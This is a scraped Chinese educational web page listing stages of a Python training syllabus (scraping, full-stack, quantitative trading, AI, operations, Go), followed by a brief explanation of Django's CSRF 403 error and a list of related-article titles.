爬虫开发课程内容包括:Requests模块、BeautifulSoup,Selenium模块、PhantomJS模块学习、基于requests实现登陆:抽屉、github、知乎、博客园、爬取拉钩职位信息、开发Web版微信、高性能IO性能相关模块:asyncio、aiohttp、grequests、Twisted、自定义开发一个异步非阻塞模块、验证码图像识别、Scrapy框架以及源码剖析、框架组件介绍(engine、spider、downloader、scheduler、pipeline)、分布式爬虫实战等。

阶段六:全栈项目实战

全栈项目实战课程内容包括:互联网企业专业开发流程讲解、git、github协作开发工具讲解、任务管理系统讲解、接口单元测试、敏捷开发与持续集成介绍、django + uwsgi + nginx生产环境部署学习、接口文档编写示例、互联网企业大型项目架构图深度讲解、CRM客户关系管理系统开发、路飞学城在线教育平台开发等。

阶段七:数据分析

数据分析课程内容包括:金融、股票知识入门股票基本概念、常见投资工具介绍、市基本交易规则、A股构成等,K线、平均线、KDJ、MACD等各项技术指标分析,股市操作模拟盘演示量化策略的开发流程,金融量化与Python,numpy、pandas、matplotlib模块常用功能学习在线量化投资平台:优矿、聚宽、米筐等介绍和使用、常见量化策略学习,如双均线策略、因子选股策略、因子选股策略、小市值策略、海龟交易法则、均值回归、策略、动量策略、反转策略、羊驼交易法则、PEG策略等、开发一个简单的量化策略平台,实现选股、择时、仓位管理、止盈止损、回测结果展示等功能。

阶段八:人工智能

人工智能课程内容包括:机器学习要素、常见流派、自然语言识别、分析原理词向量模型word2vec、剖析分类、聚类、决策树、随机森林、回归以及神经网络、测试集以及评价标准Python机器学习常用库scikit-learn、数据预处理、Tensorflow学习、基于Tensorflow的CNN与RNN模型、Caffe两种常用数据源制作、OpenCV库详解、人脸识别技术、车牌自动提取和遮蔽、无人机开发、Keras深度学习、贝叶斯模型、无人驾驶模拟器使用和开发、特斯拉远程控制API和自动化驾驶开发等。

阶段九:自动化运维&开发

自动化运维&开发课程内容包括:设计符合企业实际需求的CMDB资产管理系统,如安全API接口开发与使用,开发支持windows和linux平台的客户端,对其它系统开放灵活的api设计与开发IT资产的上线、下线、变更流程等业务流程。IT审计+主机管理系统开发,真实企业系统的用户行为、管理权限、批量文件操作、用户登录报表等。分布式主机监控系统开发,监控多个服务,多种设备,报警机制,基于http+restful架构开发,实现水平扩展,可轻松实现分布式监控等功能。

阶段十:高并发语言GO开发高并发语言GO开发课程内容包括:Golang的发展介绍、开发环境搭建、golang和其他语言对比、字符串详解、条件判断、循环、使用数组和map数据类型、go程序编译和Makefile、gofmt工具、godoc文档生成工具详解、斐波那契数列、数据和切片、make&new、字符串、go程序调试、slice&map、map排序、常用标准库使用、文件增删改查操作、函数和面向对象详解、并发、并行与goroute、channel详解goroute同步、channel、超时与定时器reover捕获异常、Go高并发模型、Lazy生成器、并发数控制、高并发web服务器的开发等。

如何杜绝xss,csrf的攻击

django post出现403的解决办法 据说,从django1.x开始,加入了CSRF保护。 CSRF(Cross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站...

  • 本文相关:
  • yii框架防止sql注入,xss攻击与csrf攻击的方法
  • php开发中常见的安全问题详解和解决方法(如sql注入、csrf、xss、cc等)
  • 阿d常用的一些注入命令整理小结
  • 看别人怎么查qq聊天记录 比较详细查询qq聊天记录的方法?
  • 如何配置windowsxpsp2防火墙
  • asp漏洞全接触-进阶篇
  • win32下病毒设计入门
  • qq聊天记录删除了怎么恢复简单方法
  • 2004年十大网络安全漏洞
  • 黑客避开检测的手段
  • 防止电脑被他人控制
  • 入侵oracle数据库的一些技巧
  • 解释什么是xss,csrf,sql注入以及如何防范
  • XSS与CSRF有什么区别吗?
  • 前端安全方面有没有了解?xss和csrf如何攻防
  • 智圭谷Python课程内容全面吗?
  • 如何杜绝xss,csrf的攻击
  • 什么是CSRF攻击,如何预防
  • ios测试和web端测试的区别
  • web前端全栈开发,该怎么学
  • web前端和web安全有联系吗
  • 零基础学web安全,要从哪里开始学?html,css,js,ph...
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved